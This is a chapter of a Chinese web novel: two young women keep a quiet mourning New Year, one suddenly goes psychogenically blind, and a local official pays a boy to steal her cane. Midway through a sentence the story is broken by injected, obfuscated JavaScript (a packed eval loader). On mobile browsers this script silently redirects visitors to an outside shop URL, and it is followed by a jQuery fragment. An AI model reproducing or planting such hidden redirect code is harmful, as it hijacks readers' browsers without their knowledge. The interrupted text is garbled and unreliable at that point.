临近年关,剩下的几天,卫明昭和郁秀把家里前前后后全都收拾了一遍。
因为今年家里有人去世,卫明昭和郁秀并没有在门上挂春联。
很快时间便来到了大年三十这一天。
两人一起床,便都钻进了厨房,开始动手包今夜的饺子。
饺子馅儿昨天晚上已经调好,调了好几种,白菜蘑菇馅,豆腐粉条馅,韭菜鸡蛋馅,素三鲜……
因为还在守孝,要忌荤腥,所以这回的饺子全是素馅。
两人各自坐在桌子一旁,阿秀擀着饺子皮,卫明昭拿起饺子皮动手包着。
整个上午,两个人都窝在厨房忙着,饿了就下点饺子垫垫肚子。
很快就到了晚上,两人入座,准备吃今夜的团圆饭。
一盘盘素菜摆满了桌子,这是俩人忙活了一天的劳动成果。
犹记上一次团圆饭,她和阿秀的身边还有父王和母后,短短一年,现在却只有他们两人。
“动筷吧!”卫明昭说了一声,拿起筷子,开始用今夜的晚膳。
门外劈里啪啦的爆竹声响个不停,屋内的两人却很沉默,一点都不像是个团圆夜。
“先撂着吧,累了一天了,明天再收拾。”
卫明昭伸手摁住了郁秀想要收拾的动作,外面已经乌漆嘛黑了,她想让阿秀休息休息。
郁秀依着她停了下来,坐到她的身边,伸手往火炉里又添了块木炭。
卫明昭抱着郁秀,牵着她的手一起在火炉上烤火,她靠在她的背上。
“阿秀,你说明年会变好吗?”
“会的。”
“阿秀明年也要陪着我。”
“好!”
“阿秀”
“嗯”
“新年快乐!”
“新年快乐!”
……
卫明昭说一句,郁秀就温柔地回了一句,一句又一句,直到她趴在她的背上睡着。
郁秀背起卫明昭,小心地把她放回了床上。
“阿秀……”睡梦中的卫明昭似乎在不安,嘴中呢喃着。
“别怕,我在。”郁秀温柔地看着她,伸出手抚了抚她额间的碎发。
直到她彻底睡熟,郁秀才离开了她的房间,回到了客厅。
把客厅剩下的饭菜全都收拾好,才回自己的屋休息。
第二日一早,郁秀穿好衣服来到了卫明昭屋里。
“阿秀,这么黑,你怎么不点灯啊?”卫明昭听到了开门的声音,醒了坐了起来。
郁秀听到这句话心神俱变,脚步猛地顿住,她看着窗外已经大亮的天空,又看着坐在床上的卫明昭。
她一时之间竟不敢上前。
苍天!我求你,别对这个孩子这么残忍。
她抱着最后一丝侥幸,点亮了一旁的油灯,举着灯来到她面前。
卫明昭并没有反应,她的眼中只有茫然。
“阿秀……是……是天已经亮了吗?”卫明昭也察觉到了不对。
眼前的黑显然是和身处黑暗之中的黑,是不一样的,只是自己刚刚醒,刚才没有察觉罢了。
“嘀嗒”一滴水珠落在了卫明昭的手上。
她愣住了,她颤抖地伸出手,摸索着抚上她的脸庞,“别哭。”
郁秀也顾不上伤心,她伸手为她诊脉,又扒她的眼睛仔细的检查,没有问题,还是没有问题。
郁秀好歹学了多年的医术,眼睛有没有问题她还是能看出来的。
阿月的眼盲不是病变引起,还有好起来的机会,郁秀松了一口气。
明昭的身体没有什么大碍,只是有些郁气一直压抑于心中,再加上长时间的焦虑悲痛,让她的精神出现了些问题。
这很像是义父笔记中记载的心因性失明。
心因性失明,无病无痛,因为精神原因,突然双眼失明,这个失明可能是短暂的,也可能是长期的,因人而异,医者可以通过心理干预帮助病人恢复失明。
她的脑海里过了一遍义父笔记上的记载。
郁秀呼了口气,让自己语气变得平静,声音没有那么颤抖才开口。
“阿月别怕,你这是心因性失明,只要你放松,好好养养,很快就好了。”
纵使郁秀再怎么放松,卫明昭还是听出了她语气中的那一抹无措。
“别为我紧张,其实现在的我反而有些开心。”卫明昭伸出手抱着她,语气很平静。
“娘亲病重时,我曾在她的床前与上苍做个交易。”
“愿用我的一切换母亲平安,如今我失明,或许就是上苍应许了这个约定。”
最近一连串的事情发生,反而是锻炼了卫明昭的心态。
失明一事既然已成定局,那就无需太过于纠结。
“只是以后要多麻烦阿秀了。”卫明昭抱着她,语气中带着丝歉意。
“你与我而言从不是麻烦,我也会治好你的眼睛。”
郁秀没有她那样的洒脱,也做不到。
她的阿月已经太苦,她不允许她再成为一个瞎子。
“好!我信阿秀。”她朝着郁秀的方向露出了一个明媚的笑容。
接下来的几天,卫明昭一直在适应着自己瞎子的身份。
在黑暗中尝试摸索,有碰撞,有摔倒,但整个院子也确实让她摸索清楚了。
从自己床上下来,走六步,有个门槛,跨过,向右走七步,是阿秀的屋子,向左走十七步是客厅,向前走二十一步是树下的椅子……
郁秀这几日也没闲着,为了让明昭能更好地适应,她把家里所有的东西都固定放好,用完也放回原处,没有一丝改变,让明昭能够更好的熟悉环境。
为了明昭生活不那么枯燥,她去书店买了很多书,每天都读给她听。
她这几日也去药房里跑了好多次,凑齐了清心丸的药材,为她配药。
夜晚,郁秀又照例拿着本书,坐到她的床边,捧着书一字一句的开口,清冷悦耳的声音在屋内响起。
卫明昭等到郁秀读完这一段,开口阻止她接着往下读。
“阿秀,我不想听这个了,你给我念一段你平常看的书吧。”
“好!”郁秀自来便不喜欢拒绝她,如今她失明了,更是不会拒绝她。
“那我就给你读《难经》吧。”郁秀合上了手中的书,对于看过的医书,她都记在了脑子里,无需再打开,她缓缓开口。
“论脉·一难,曰:十二经皆有动脉,独取寸口,以决五脏六腑死生吉凶之法,何谓也?……”
卫明昭看不见阿秀的样子,但只是听着她的声音,她在脑海中便能浮现出她此时的样子。
阿秀定是坐在她的旁边,温柔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730208|206507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地看着她,缓缓地读着。
在郁秀温柔的读书声中,卫明昭进入了梦乡。
第二日,卫明昭早早起了床,吃完了饭,阿秀回到药房忙活,她闲来无事,干脆就坐在了大门口。
她或许是因为失明,因祸得福,现在的耳朵倒是很灵,她有时候就喜欢坐在门口,听着南来北往路人的谈话。
她一心三用,一边听着门外人的谈话,一边回忆着往日所学,手上还不停地用盲杖书写学过的内容。
“快看哟,这有个小瞎子。”一个调皮的男孩,手指着卫明昭不断起哄。
“眼都瞎了,还在写字,小瞎子可真是勤奋哟!”
“来,让大哥也比划两下。”小男孩出其不意,一把夺过了他手中的盲杖。
“还给我。”卫明昭被拽的一踉跄,险些摔倒,她目光望向声音响起的方向,语气冰冷。
小男孩被他身上的气势吓了一跳,本来打算出口嘲讽嘴贱的话,又咽回到了肚子里。
“略略略!我就不给,有本事你来追我呀!小瞎子!”小男孩拿着他的盲杖直接跑了。
卫明昭猛然站起来,想要向前追,但是眼前漆黑一片,她还是停住了,忍下了这口气。
她不能让阿秀担心。
“大人,盲杖我抢过来了。”小男孩拿着自己从卫明昭手中抢的盲杖,拐进了一个胡同里,拿着拐杖向眼前的人邀功。
“嗯,做的不错。”眼前的人转身,是李谈。
他从怀中掏出了一些铜板,给了小男孩,“一会儿再把拐杖扔回那院子里去。”
“好嘞!”小男孩眉开眼笑,伸手接过铜板,连连答应。
小男孩是明贤坊中的一个小混混,就靠着接一些活儿来活着,他高兴地接过来铜板,兴冲冲的去饱腹一顿。
“大哥这样做,就不怕得罪狠了这个贵人?”
“如若来日这个贵人东山再起,第一个收拾的估计就是大哥了。”一个身着青衣的少年,手一撑,从墙上跳了下。
“我若不这样做,都不用等到他起来,现在就要被人收拾了。”
李谈平淡的神情并没有因为少年的话而变色。
“大哥这个坊正当的可真够没意思的,随便来个人都能吩咐你办事,你还不剩随弟弟一起去闯荡江湖呢。”
少年看着大哥的生活,只觉得憋屈,他可过不了这样的日子。
“家中尚有老母,我又岂能说走就走。”
李谈也并不是多稀罕这个坊正的职位,只是有些事情身不由己。
他早已不是当年那个和兄弟们一起游历江湖的少年了。
“你这回怎么来京了?”李谈不想再谈这个,开口转移了话题。
李谈年少之时也曾是一名游侠,他与少年的哥哥一见如故,结拜为兄弟,共同游历天下。
后来两人更是一同从军,征战沙场,数次救对方于危难之间,两人的感情极为深厚。
李谈对眼前的少年,更是像看待亲弟弟一般。
“我入京自然是要来办一件惊天动地的大事。”少年意气风发,宣布着他此次入京的不凡。
李谈眉头微蹙,有些担忧的看着他:“注意保护好自己。”
他没有开口劝少年放弃,因为少年不会听他的劝。
少年注定是要成为专诸豫让一般的人物。